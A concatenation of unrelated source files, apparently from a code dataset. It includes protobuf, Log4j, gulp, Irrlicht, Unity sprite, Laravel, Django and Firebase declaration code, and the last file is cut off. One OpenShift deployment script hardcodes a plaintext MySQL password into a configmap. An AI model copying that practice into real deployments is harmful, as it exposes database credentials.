text:
/* eslint-disable */
import { CertificateIdentifier } from '../pki/certificate_identifier'
import { Writer, Reader } from 'protobufjs/minimal'

export const protobufPackage = 'zigbeealliance.distributedcomplianceledger.pki'

export interface ApprovedRootCertificates {
  certs: CertificateIdentifier[]
}

const baseApprovedRootCertificates: object = {}

export const ApprovedRootCertificates = {
  encode(message: ApprovedRootCertificates, writer: Writer = Writer.create()): Writer {
    for (const v of message.certs) {
      CertificateIdentifier.encode(v!, writer.uint32(10).fork()).ldelim()
    }
    return writer
  },

  decode(input: Reader | Uint8Array, length?: number): ApprovedRootCertificates {
    const reader = input instanceof Uint8Array ? new Reader(input) : input
    let end = length === undefined ? reader.len : reader.pos + length
    const message = { ...baseApprovedRootCertificates } as ApprovedRootCertificates
    message.certs = []
    while (reader.pos < end) {
      const tag = reader.uint32()
      switch (tag >>> 3) {
        case 1:
          message.certs.push(CertificateIdentifier.decode(reader, reader.uint32()))
          break
        default:
          reader.skipType(tag & 7)
          break
      }
    }
    return message
  },

  fromJSON(object: any): ApprovedRootCertificates {
    const message = { ...baseApprovedRootCertificates } as ApprovedRootCertificates
    message.certs = []
    if (object.certs !== undefined && object.certs !== null) {
      for (const e of object.certs) {
        message.certs.push(CertificateIdentifier.fromJSON(e))
      }
    }
    return message
  },

  toJSON(message: ApprovedRootCertificates): unknown {
    const obj: any = {}
    if (message.certs) {
      obj.certs = message.certs.map((e) => (e ? CertificateIdentifier.toJSON(e) : undefined))
    } else {
      obj.certs = []
    }
    return obj
  },

  fromPartial(object: DeepPartial<ApprovedRootCertificates>): ApprovedRootCertificates {
    const message = { ...baseApprovedRootCertificates } as ApprovedRootCertificates
    message.certs = []
    if (object.certs !== undefined && object.certs !== null) {
      for (const e of object.certs) {
        message.certs.push(CertificateIdentifier.fromPartial(e))
      }
    }
    return message
  }
}

type Builtin = Date | Function | Uint8Array | string | number | undefined
export type DeepPartial<T> = T extends Builtin
  ? T
  : T extends Array<infer U>
  ? Array<DeepPartial<U>>
  : T extends ReadonlyArray<infer U>
  ? ReadonlyArray<DeepPartial<U>>
  : T extends {}
  ? { [K in keyof T]?: DeepPartial<T[K]> }
  : Partial<T>


text:
package com.telran.util;

/**
 * Created by Iakov Volf on 7/8/2015.
 */

import org.apache.log4j.Logger;

public class LogLog4j {

// Initialize Log4j log s

    private static Logger Log = Logger.getLogger(LogLog4j.class.getName());//

    // This is to print log for the beginning of the test case, as we usually run so many test cases as a test suite

    public static void startTestCase(String sTestCaseName) {

        Log.info("****************************************************************************************");

        Log.info("****************************************************************************************");

        Log.info("$$$$$$$$$$$$$$$$$$$$$                 " + sTestCaseName + "       $$$$$$$$$$$$$$$$$$$$$$$$$");

        Log.info("****************************************************************************************");

        Log.info("****************************************************************************************");

    }

    //This is to print log for the ending of the test case

    public static void endTestCase(String sTestCaseName) {

        Log.info("XXXXXXXXXXXXXXXXXXXXXXX             " + "-E---N---D-" + "             XXXXXXXXXXXXXXXXXXXXXX");

        Log.info("X");

        Log.info("X");

        Log.info("X");

        Log.info("X");

    }

    // Need to create these methods, so that they can be called

    public static void info(String message) {

        Log.info(message);

    }

    public static void warn(String message) {

        Log.warn(message);

    }

    public static void error(String message) {

        Log.error(message);

    }

    public static void fatal(String message) {

        Log.fatal(message);

    }

    public static void debug(String message) {

        Log.debug(message);

    }

}

redpajama_set_name: RedPajamaGithub


text:
var gulp = require('gulp');
var concat = require('gulp-concat');

var FOUNDATION = [
  'js/foundation.core.js',
  'js/foundation.util.*.js',
  'js/*.js'
];

var DEPS = [
  'node_modules/jquery/dist/jquery.js',
  'node_modules/motion-ui/dist/motion-ui.js',
  'node_modules/what-input/what-input.js'
];

var DOCS = [
  'node_modules/zeroclipboard/dist/ZeroClipboard.js',
  'node_modules/typeahead.js/dist/typeahead.bundle.js',
  'docs/assets/js/docs.*.js',
  'docs/assets/js/docs.js'
];

// Compiles JavaScript into a single file
gulp.task('javascript', ['javascript:foundation', 'javascript:deps', 'javascript:docs']);

gulp.task('javascript:foundation', function() {
  return gulp.src(FOUNDATION)
    .pipe(concat('foundation.js'))
    .pipe(gulp.dest('_build/assets/js'));
});

gulp.task('javascript:deps', function() {
  return gulp.src(DEPS)
    .pipe(concat('vendor.js'))
    .pipe(gulp.dest('_build/assets/js'));
});

gulp.task('javascript:docs', function() {
  return gulp.src(DOCS)
    .pipe(concat('docs.js'))
    .pipe(gulp.dest('_build/assets/js'));
});


text:
* [ActiveLedIt](ActiveLedIt/)
  is a word-processor activeX control. This works only for Windows.
  ActiveLedIt is based on the Stroika Led WordProcessor framework

* [AppSettings](AppSettings/)
  is a simple example of using ObjectVariantMapper to map objects to/from JSON,
  combined with OptionsFile utility class to store JSON content in the file system (managing version/format upgrades etc),
  along with ModuleGetterSetter to manage all this on a per-module basis (so settings can be defined/saved per module or globally)
  and accessed automatically in a threadsafe manner (automatically synchronized).

* [ArchiveUtility](ArchiveUtility/)
  is a simple command-line tool to create/update/list/etc archives, like zip files, or 7z files.
  This demonstrates use of the Stroika DataExchange/Archive classes.

* [Containers](Containers/)
  demonstrates the basic ideas of the Stroika container class library

* [LedIt](LedIt/)
  is a word processor application. It was originally working on Windows,
  MacOS, and Linux, but only the Windows code has been ported and tested
  successfully on Stroika (Led v3.x code it was based on worked on the
  other platforms years ago).
  LedIt is based on the Stroika Led WordProcessor framework.

* [LedLineIt](LedLineIt/)
  is a text editor application. This version only works on Windows, but it
  was ported from code (Led 3.1x) that also had implementations for MacOS, and
  Linux, and so could be ported/targetted for those OSes without too much difficulty.
  LedLineIt is based on the Stroika Led Text Editor framework.

* [Serialization](Serialization/)
  demonstrates facilities for serializing (and deserializing) objects - the basis of many Stroika
  features (e.g. webservices, OptionsFile).

* [Service](Service/)
  is a simple demonstration of how to use the Stroika Service Framework. Makes it easy to create
  services that integrate with UNIX service systems (init/systemd etc) or windows service manager. Contains source for installers in WIX (MSI), RPM, and DEB.

* [SimpleLedTest](SimpleLedTest/)
  tests the simple-to-use Led library wrapper code. This can easily
  be adapted to work for MacOS (Carbon SDK) and Linux / X-Windows, but
  this code is only tested for Windows).
  SimpleLedTest is based on the Stroika Led WordProcessor framework.

* [SQL](SQL/)
  Simple example program using the Stroika SQL wrappers to access/update an SQL database.
  Only SQLite fully supported for now.

* [SSDPClient](SSDPClient/)
  shows how to user the Stroika UPnP framework to search (SSDP) for UPnP devices.

* [SSDPServer](SSDPServer/)
  shows how to user the Stroika UPnP framework to make a device/service advertised via SSDP (UPnP)

* [SystemPerformanceClient](SystemPerformanceClient/)
  is a simple demonstration of how to use the Stroika System Performance framework. This shows how to capture
  system performance data like CPU usage, network usage, filesystem usage, process information etc, portably.

* [Traceroute](Traceroute/)
  is networking example, implementing both the 'ping' application and 'traceroute' - based on Stroika-layer networking.

* [WebServer](WebServer/)
  is an example of how to use the web server framework, including routers, interceptors, etc.

* [WebService](WebService/)
  is an example of how to use the web service framework. The sample separates the WebService model marshalling from the service API, and it separates implementation of webservice from mapping the APIs into a (typically RESTFUL) WebServer route mapping.


text:
/* Generated code */

interface TouchRequestResource {

	rendererId?: string;

	messageId?: string;
}

export default TouchRequestResource;


text:
// Copyright (C) 2008-2012 Nikolaus Gebhardt
// This file is part of the "Irrlicht Engine".
// For conditions of distribution and use, see copyright notice in irrlicht.h

#ifndef __I_INDEX_BUFFER_H_INCLUDED__
#define __I_INDEX_BUFFER_H_INCLUDED__

#include "IReferenceCounted.h"
#include "irrArray.h"

#include "SVertexIndex.h"

namespace irr
{

namespace video
{

}

namespace scene
{

	class IIndexBuffer : public virtual IReferenceCounted
	{
	public:

		virtual void* getData() =0;

		virtual video::E_INDEX_TYPE getType() const =0;
		virtual void setType(video::E_INDEX_TYPE IndexType) =0;

		virtual u32 stride() const =0;

		virtual u32 size() const =0;
		virtual void push_back (const u32 &element) =0;
		virtual u32 operator [](u32 index) const =0;
		virtual u32 getLast() =0;
		virtual void setValue(u32 index, u32 value) =0;
		virtual void set_used(u32 usedNow) =0;
		virtual void reallocate(u32 new_size) =0;
		virtual u32 allocated_size() const=0;

		virtual void* pointer() =0;

		//! get the current hardware mapping hint
		virtual E_HARDWARE_MAPPING getHardwareMappingHint() const =0;

		//! set the hardware mapping hint, for driver
		virtual void setHardwareMappingHint( E_HARDWARE_MAPPING NewMappingHint ) =0;

		//! flags the meshbuffer as changed, reloads hardware buffers
		virtual void setDirty() = 0;

		//! Get the currently used ID for identification of changes.
		/** This shouldn't be used for anything outside the VideoDriver. */
		virtual u32 getChangedID() const = 0;
	};

} // end namespace scene
} // end namespace irr

#endif


text:
/// <reference path="android-declarations.d.ts"/>

declare module com {
	export module google {
		export module android {
			export module gms {
				export module dynamite {
					export module descriptors {
						export module com {
							export module google {
								export module firebase {
									export module ml {
										export module vision {
											export module dynamite {
												export module automl {
													export class ModuleDescriptor {
														public static class: java.lang.Class<com.google.android.gms.dynamite.descriptors.com.google.firebase.ml.vision.dynamite.automl.ModuleDescriptor>;
														public static MODULE_ID: string;
														public static MODULE_VERSION: number;
														public constructor();
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class OnDeviceAutoMLImageLabelerCreator {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.OnDeviceAutoMLImageLabelerCreator>;
							public constructor();
							public newOnDeviceAutoMLImageLabeler(param0: com.google.android.gms.dynamic.IObjectWrapper, param1: com.google.firebase.ml.vision.automl.internal.OnDeviceAutoMLImageLabelerOptionsParcel): com.google.firebase.ml.vision.automl.internal.IOnDeviceAutoMLImageLabeler;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zza {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zza>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzb {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzb>;
							public constructor(param0: globalAndroid.content.Context, param1: com.google.firebase.ml.vision.automl.FirebaseAutoMLLocalModel);
							public load(): java.nio.MappedByteBuffer;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzc {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzc>;
							public constructor(param0: any /* com.google.firebase.ml.common.internal.modeldownload.zzag*/, param1: any /* com.google.firebase.ml.vision.automl.zze*/, param2: any /* com.google.firebase.ml.vision.automl.zzb*/, param3: any /* com.google.firebase.ml.common.internal.modeldownload.zzl*/);
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzd extends com.google.firebase.ml.vision.automl.zzo {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzd>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zze {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zze>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzf {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzf>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzg {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzg>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzj {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzj>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzk {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzk>;
							public close(): void;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzl {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzl>;
							public compare(param0: any, param1: any): number;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzm {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzm>;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzn {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzn>;
							public close(): void;
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzo {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzo>;
							/**
							 * Constructs a new instance of the com.google.firebase.ml.vision.automl.zzo interface with the provided implementation. An empty constructor exists calling super() when extending the interface class.
							 */
							public constructor(implementation: {
								zzj(param0: java.io.File): any /* com.google.firebase.ml.vision.automl.zzn*/;
							});
							public constructor();
						}
					}
				}
			}
		}
	}
}

declare module com {
	export module google {
		export module firebase {
			export module ml {
				export module vision {
					export module automl {
						export class zzp {
							public static class: java.lang.Class<com.google.firebase.ml.vision.automl.zzp>;
						}
					}
				}
			}
		}
	}
}

//Generics information:


text:
<?php

use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class ConnectAnswersAndQuestions extends Migration
{
    /**
     * Run the migration to connect the forien key on the answer table to the question table.
     *
     * @return void
     */
    public function up()
    {
		Schema::table('answers', function (Blueprint $table)
		{
			//Create the database field
			$table->integer('question_id')->unsigned();//Foreign key to the question this answer belongs to.

			//Make the database field a foreign key.
			$table->foreign('question_id')->references('id')->on('questions');
		});
    }

    /**
     * Reverse the migration that connects the forien key on the answer table to the question table.
     *
     * @return void
     */
    public function down()
    {
		Schema::table('answers', function (Blueprint $table)
		{
			//Drop the foreign key part of the database field.
			$table->dropForeign('answers_question_id_foreign');

			//Drom the database field.
			$table->dropColumn('question_id');
		});
    }
}


text:
set -xe

MYSQL_USER=sb
MYSQL_PASSWORD=i6c0MrQYDO
MYSQL_DATABASE=openservicebroker
DATABASE_SERVICE_NAME=broker-mariadb

#Create mariadb
oc import-image mariadb:10.2 --confirm
oc new-app -f https://raw.githubusercontent.com/openshift/origin/master/examples/db-templates/mariadb-persistent-template.json \
	 -p DATABASE_SERVICE_NAME=$DATABASE_SERVICE_NAME -p MYSQL_USER=$MYSQL_USER -p MYSQL_PASSWORD=$MYSQL_PASSWORD \
         -p MYSQL_DATABASE=$MYSQL_DATABASE -p NAMESPACE=$(oc project -q) --allow-missing-images

#Create a config yml for broker which includes only db config
oc create configmap broker  --from-literal application.yml="spring:
  datasource:
    url: 'jdbc:mysql://$DATABASE_SERVICE_NAME/$MYSQL_DATABASE?autoReconnect=true'
    username: $MYSQL_USER
    password: $MYSQL_PASSWORD"

#Build & deploy service broker
oc new-app registry.hub.docker.com/mcelep/s2i-gradle~https://github.com/swisscom/open-service-broker.git \
	 --build-env BUILDER_ARGS='clean build -x test -x integrationTest -x functionalTest' \
	 --build-env ARTIFACT_DIR='broker/build/libs/' \
	 --build-env APP_SUFFIX=$(sed -n 's/^version=//p' gradle.properties) \
	  --env APP_OPTIONS='-Dspring.config.location=file:/opt/config/application.yml'
oc set volume dc/open-service-broker --add --name=config --configmap-name=broker -m /opt/config/


text:
using NMF.Collections.Generic;
using NMF.Collections.ObjectModel;
using NMF.Expressions;
using NMF.Expressions.Linq;
using NMF.Models;
using NMF.Models.Collections;
using NMF.Models.Expressions;
using NMF.Models.Meta;
using NMF.Models.Repository;
using NMF.Serialization;
using NMF.Utilities;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using TTC2017.SmartGrids.CIM.IEC61968.AssetModels;
using TTC2017.SmartGrids.CIM.IEC61968.Assets;
using TTC2017.SmartGrids.CIM.IEC61968.Common;
using TTC2017.SmartGrids.CIM.IEC61968.Customers;
using TTC2017.SmartGrids.CIM.IEC61968.Work;
using TTC2017.SmartGrids.CIM.IEC61970.Core;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.Financial;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfAssetModels;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfAssets;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfCommon;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfCustomers;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfLocations;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfOperations;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfTypeAsset;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.InfWork;
using TTC2017.SmartGrids.CIM.IEC61970.Informative.MarketOperations;
using TTC2017.SmartGrids.CIM.IEC61970.Meas;

namespace TTC2017.SmartGrids.CIM.IEC61970.Informative.InfERPSupport
{

    public class ErpProjectAccountingErpTimeEntriesCollection : ObservableOppositeOrderedSet<IErpProjectAccounting, IErpTimeEntry>
    {

        public ErpProjectAccountingErpTimeEntriesCollection(IErpProjectAccounting parent) :
                base(parent)
        {
        }

        private void OnItemDeleted(object sender, System.EventArgs e)
        {
            this.Remove(((IErpTimeEntry)(sender)));
        }

        protected override void SetOpposite(IErpTimeEntry item, IErpProjectAccounting parent)
        {
            if ((parent != null))
            {
                item.Deleted += this.OnItemDeleted;
                item.ErpProjectAccounting = parent;
            }
            else
            {
                item.Deleted -= this.OnItemDeleted;
                if ((item.ErpProjectAccounting == this.Parent))
                {
                    item.ErpProjectAccounting = parent;
                }
            }
        }
    }
}


text:
from django.http import HttpResponseBadRequest

from django.shortcuts import redirect

def admin_required(fn):
    """
    View decorator for checking if user is logged in and is member of staff.
    If not logged in, redirect to custom settings-defined login page.
    """
    def wrapper(request, *args, **kwargs):
        if not request.user.is_staff:
            return redirect('c4all_admin:login_admin')
        return fn(request, *args, **kwargs)
    wrapper.__name__ = fn.__name__
    wrapper.__doc__ = fn.__doc__
    return wrapper

def ajax_required(f):
    def wrap(request, *args, **kwargs):
        if not request.is_ajax():
            return HttpResponseBadRequest()
        return f(request, *args, **kwargs)
    wrap.__doc__ = f.__doc__
    wrap.__name__ = f.__name__
    return wrap


text:
import time

def timeout(func):
    def _timeout(*args, **kwargs):
        TIMEOUT = 300

        if 'timeout' in kwargs:
            TIMEOUT = kwargs['timeout']

        start = time.time()

        while True:
            if func(*args, **kwargs):
                return True

            time.sleep(0.1)

            if TIMEOUT:
                if time.time() - start > TIMEOUT:
                    return False

    return _timeout

# vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4


text:
using UnityEngine;
using System.Collections.Generic;

[System.Serializable]
/// <summary>
/// Sprite Definition.
/// </summary>
public class tk2dSpriteDefinition
{
	/// <summary>
	/// Collider type.
	/// </summary>
	public enum ColliderType
	{
		/// <summary>
		/// Do not create or destroy anything.
		/// </summary>
		Unset,

		/// <summary>
		/// If a collider exists, it will be destroyed. The sprite will be responsible in making sure there are no other colliders attached.
		/// </summary>
		None,

		/// <summary>
		/// Create a box collider.
		/// </summary>
		Box,

		/// <summary>
		/// Create a mesh collider.
		/// </summary>
		Mesh,
	}

	/// <summary>
	/// Name
	/// </summary>
	public string name;

	public Vector3[] boundsData;
	public Vector3[] untrimmedBoundsData;

	public Vector2 texelSize;

	/// <summary>
	/// Array of positions for sprite geometry.
	/// </summary>
    public Vector3[] positions;

	/// <summary>
	/// Array of normals for sprite geometry, zero length array if they dont exist
	/// </summary>
	public Vector3[] normals;

	/// <summary>
	/// Array of tangents for sprite geometry, zero length array if they dont exist
	/// </summary>
	public Vector4[] tangents;

	/// <summary>
	/// Array of UVs for sprite geometry, will match the position count.
	/// </summary>
    public Vector2[] uvs;
	/// <summary>
	/// Array of indices for sprite geometry.
	/// </summary>
    public int[] indices = new int[] { 0, 3, 1, 2, 3, 0 };
	/// <summary>
	/// The material used by this sprite. This is generally the same on all sprites in a colletion, but this is not
	/// true when multi-atlas spanning is enabled.
	/// </summary>
	public Material material;

	[System.NonSerialized]
	public Material materialInst;

	/// <summary>
	/// The material id used by this sprite. This is an index into the materials array and corresponds to the
	/// material flag above.
	/// </summary>
	public int materialId;

	/// <summary>
	/// Source texture GUID - this is used by the inspector to find the source image without adding a unity dependency.
	/// </summary>
	public string sourceTextureGUID;
	/// <summary>
	/// Speficies if this texture is extracted from a larger texture source, for instance an atlas. This is used in the inspector.
	/// </summary>
	public bool extractRegion;
	public int regionX, regionY, regionW, regionH;

	public enum FlipMode {
		None,
		Tk2d,
		TPackerCW,
	}

	/// <summary>
	/// Specifies if this texture is flipped to its side (rotated) in the atlas
	/// </summary>
	public FlipMode flipped;

	/// <summary>
	/// Specifies if this texture has complex geometry
	/// </summary>
	public bool complexGeometry = false;

	/// <summary>
	/// Collider type
	/// </summary>
	public ColliderType colliderType = ColliderType.Unset;

	/// <summary>
	/// v0 and v1 are center and size respectively for box colliders when colliderType is Box.
	/// It is an array of vertices, and the geometry defined by indices when colliderType is Mesh.
	/// </summary>
	public Vector3[] colliderVertices;
	public int[] colliderIndicesFwd;
	public int[] colliderIndicesBack;
	public bool colliderConvex;
	public bool colliderSmoothSphereCollisions;

	[System.Serializable]
	public class AttachPoint
	{
		public string name = "";
		public Vector3 position = Vector3.zero;
		public float angle = 0;

		public void CopyFrom( AttachPoint src ) {
			name = src.name;
			position = src.position;
			angle = src.angle;
		}

		public bool CompareTo( AttachPoint src ) {
			return (name == src.name && src.position == position && src.angle == angle);
		}
	}

	public AttachPoint[] attachPoints = new AttachPoint[0];

	public bool Valid { get { return name.Length != 0; } }

	/// <summary>
	/// Gets the trimmed bounds of the sprite.
	/// </summary>
	/// <returns>
	/// Local space bounds
	/// </returns>
	public Bounds GetBounds()
	{
		return new Bounds(new Vector3(boundsData[0].x, boundsData[0].y, boundsData[0].z),
		                  new Vector3(boundsData[1].x, boundsData[1].y, boundsData[1].z));
	}

	/// <summary>
	/// Gets untrimmed bounds of the sprite.
	/// </summary>
	/// <returns>
	/// Local space untrimmed bounds
	/// </returns>
	public Bounds GetUntrimmedBounds()
	{
		return new Bounds(new Vector3(untrimmedBoundsData[0].x, untrimmedBoundsData[0].y, untrimmedBoundsData[0].z),
		                  new Vector3(untrimmedBoundsData[1].x, untrimmedBoundsData[1].y, untrimmedBoundsData[1].z));
	}
}

[AddComponentMenu("2D Toolkit/Backend/tk2dSpriteCollectionData")]
/// <summary>
/// Sprite Collection Data.
/// </summary>
public class tk2dSpriteCollectionData : MonoBehaviour
{
	public const int CURRENT_VERSION = 3;

	public int version;
	public bool materialIdsValid = false;
	public bool needMaterialInstance = false;
	public bool Transient { get; set; } // this should not get serialized

	/// <summary>
	/// An array of sprite definitions.
	/// </summary>
    public tk2dSpriteDefinition[] spriteDefinitions;

	/// <summary>
	/// Dictionary to look up sprite names. This will be initialized on first call to GetSpriteIdByName.
	/// </summary>
	Dictionary<string, int> spriteNameLookupDict = null;

	/// <summary>
	/// Whether premultiplied alpha is enabled on this sprite collection. This affects how tint colors are computed.
	/// </summary>
    public bool premultipliedAlpha;

	/// <summary>
	/// Only exists for backwards compatibility. Do not use or rely on this.
	/// </summary>
	public Material material;

	/// <summary>
	/// An array of all materials used by this sprite collection.
	/// </summary>
	public Material[] materials;

	[System.NonSerialized]
	public Material[] materialInsts;

	/// <summary>
	/// An array of all textures used by this sprite collection.
	/// </summary>
	public Texture[] textures;

	/// <summary>
	/// Specifies if sprites span multiple atlases.
	/// </summary>
	public bool allowMultipleAtlases;

	/// <summary>
	/// The sprite collection GUI.
	/// </summary>
	public string spriteCollectionGUID;

	/// <summary>
	/// The name of the sprite collection.
	/// </summary>
	public string spriteCollectionName;

	/// <summary>
	/// Asset Name, used to load the asset
	/// </summary>
	public string assetName = "";

	/// <summary>
	/// Is this asset loadable using tk2dSystem
	/// </summary>
	public bool loadable = false;

	/// <summary>
	/// The size of the inv ortho size used to generate the sprite collection.
	/// </summary>
	public float invOrthoSize = 1.0f;

	/// <summary>
	/// Target height used to generate the sprite collection.
	/// </summary>
	public float halfTargetHeight = 1.0f;

	public int buildKey = 0;

	/// <summary>
	/// GUID of this object, used with <see cref="tk2dIndex"/>
	/// </summary>
	public string dataGuid = "";

	/// <summary>
	/// Returns the number of sprite definitions in this sprite collection.
	/// </summary>
    public int Count { get { return inst.spriteDefinitions.Length; } }

	/// <summary>
	/// When true, sprite collection will not be directly selectable
	/// </summary>
    public bool managedSpriteCollection = false;

	/// <summary>
	/// When true, spriteCollectionPlatforms & PlatformGUIDs are expected to have
	/// sensible data.
	/// </summary>
	public bool hasPlatformData = false;

	/// <summary>
	/// Returns an array of platform names.
	/// </summary>
    public string[] spriteCollectionPlatforms = null;

	/// <summary>
	/// Returns an array of GUIDs, each referring to an actual tk2dSpriteCollectionData object
	/// This object contains the actual sprite collection for the platform.
	/// </summary>
    public string[] spriteCollectionPlatformGUIDs = null;

	/// <summary>
	/// Resolves a sprite name and returns a unique id for the sprite.
	/// </summary>
	/// <returns>
	/// Unique Sprite Id. 0 if sprite isn't found.
	/// </returns>
	/// <param name='name'>Case sensitive sprite name, as defined in the sprite collection. This is usually the source filename excluding the extension</param>
	public int GetSpriteIdByName(string name)
	{
		return GetSpriteIdByName(name, 0);
	}

	/// <summary>
	/// Resolves a sprite name and returns a unique id for the sprite.
	/// </summary>
	/// <returns>
	/// Unique Sprite Id. defaultValue if sprite isn't found.
	/// </returns>
	/// <param name='name'>Case sensitive sprite name, as defined in the sprite collection. This is usually the source filename excluding the extension</param>
	/// <param name='defaultValue'>The value which is returned when the named sprite can't be found.</param>
	public int GetSpriteIdByName(string name, int defaultValue)
	{
		inst.InitDictionary();
		int returnValue = defaultValue;
		if (!inst.spriteNameLookupDict.TryGetValue(name, out returnValue)) return defaultValue;
		return returnValue; // default to first sprite
	}

	/// <summary>
	/// Resolves a sprite name and returns a reference to a sprite definition
	/// </summary>
	/// <returns>
	/// Unique Sprite Definition. null if sprite isn't found.
	/// </returns>
	/// <param name='name'>Case sensitive sprite name, as defined in the sprite collection. This is usually the source filename excluding the extension</param>
	public tk2dSpriteDefinition GetSpriteDefinition(string name) {
		int id = GetSpriteIdByName(name, -1);
		if (id == -1) {
			return null;
		}
		else {
			return spriteDefinitions[id];
		}
	}

	/// <summary>
	/// Initializes the lookup dictionary
	/// </summary>
	public void InitDictionary()
	{
		if (spriteNameLookupDict == null)
		{
			spriteNameLookupDict = new Dictionary<string, int>(spriteDefinitions.Length);
			for (int i = 0; i < spriteDefinitions.Length; ++i)
			{
				spriteNameLookupDict[spriteDefinitions[i].name] = i;
			}
		}
	}

	/// <summary>
	/// Returns the first valid sprite definition
	/// </summary>
	public tk2dSpriteDefinition FirstValidDefinition
	{
		get
		{
			foreach (var v in inst.spriteDefinitions)
			{
				if (v.Valid)
					return v;
			}
			return null;
		}
	}

	/// <summary>
	/// Returns true if the sprite id is valid for this sprite collection
	/// </summary>
	public bool IsValidSpriteId(int id) {
		if (id < 0 || id >= inst.spriteDefinitions.Length) {
			return false;
		}
		return inst.spriteDefinitions[id].Valid;
	}

	/// <summary>
	/// Returns the index of the first valid sprite definition
	/// </summary>
	public int FirstValidDefinitionIndex
	{
		get
		{
			tk2dSpriteCollectionData data = inst;

			for (int i = 0; i < data.spriteDefinitions.Length; ++i)
				if (data.spriteDefinitions[i].Valid)
					return i;
			return -1;
		}
	}

	/// <summary>
	/// Internal function to make sure all material Ids are valid. Used in the tilemap editor
	/// </summary>
	public void InitMaterialIds()
	{
		if (inst.materialIdsValid)
			return;

		int firstValidIndex = -1;
		Dictionary<Material, int> materialLookupDict = new Dictionary<Material, int>();
		for (int i = 0; i < inst.materials.Length; ++i)
		{
			if (firstValidIndex == -1 && inst.materials[i] != null)
				firstValidIndex = i;
			materialLookupDict[materials[i]] = i;
		}
		if (firstValidIndex == -1)
		{
			Debug.LogError("Init material ids failed.");
		}
		else
		{
			foreach (var v in inst.spriteDefinitions)
			{
				if (!materialLookupDict.TryGetValue(v.material, out v.materialId))
					v.materialId = firstValidIndex;
			}
			inst.materialIdsValid = true;
		}
	}

	tk2dSpriteCollectionData platformSpecificData = null;

	// Returns the active instance
	public tk2dSpriteCollectionData inst
	{
		get
		{
			if (platformSpecificData == null)
			{
				if (hasPlatformData)
				{
					string systemPlatform = tk2dSystem.CurrentPlatform;
					string guid = "";

					for (int i = 0; i < spriteCollectionPlatforms.Length; ++i)
					{
						if (spriteCollectionPlatforms[i] == systemPlatform)
						{
							guid = spriteCollectionPlatformGUIDs[i];
							break;
						}
					}
					if (guid.Length == 0)
						guid = spriteCollectionPlatformGUIDs[0]; // failed to find platform, pick the first one

					platformSpecificData = tk2dSystem.LoadResourceByGUID<tk2dSpriteCollectionData>(guid);
				}
				else
				{
					platformSpecificData = this;
				}
			}
			platformSpecificData.Init(); // awake is never called, so we initialize explicitly
			return platformSpecificData;
		}
	}

	void Init()
	{
		// check if already initialized
		if (materialInsts != null)
			return;

		if (spriteDefinitions == null) spriteDefinitions = new tk2dSpriteDefinition[0];
		if (materials == null) materials = new Material[0];

		materialInsts = new Material[materials.Length];
		if (needMaterialInstance)
		{
			if (tk2dSystem.OverrideBuildMaterial) {
				// This is a hack to work around a bug in Unity 4.x
				// Scene serialization will serialize the actively bound texture
				// but not the material during the build, only when [ExecuteInEditMode]
				// is on, eg. on sprites.
				for (int i = 0; i < materials.Length; ++i)
				{
					materialInsts[i] = new Material(Shader.Find("tk2d/BlendVertexColor"));
	#if UNITY_EDITOR
					materialInsts[i].hideFlags = HideFlags.DontSave;
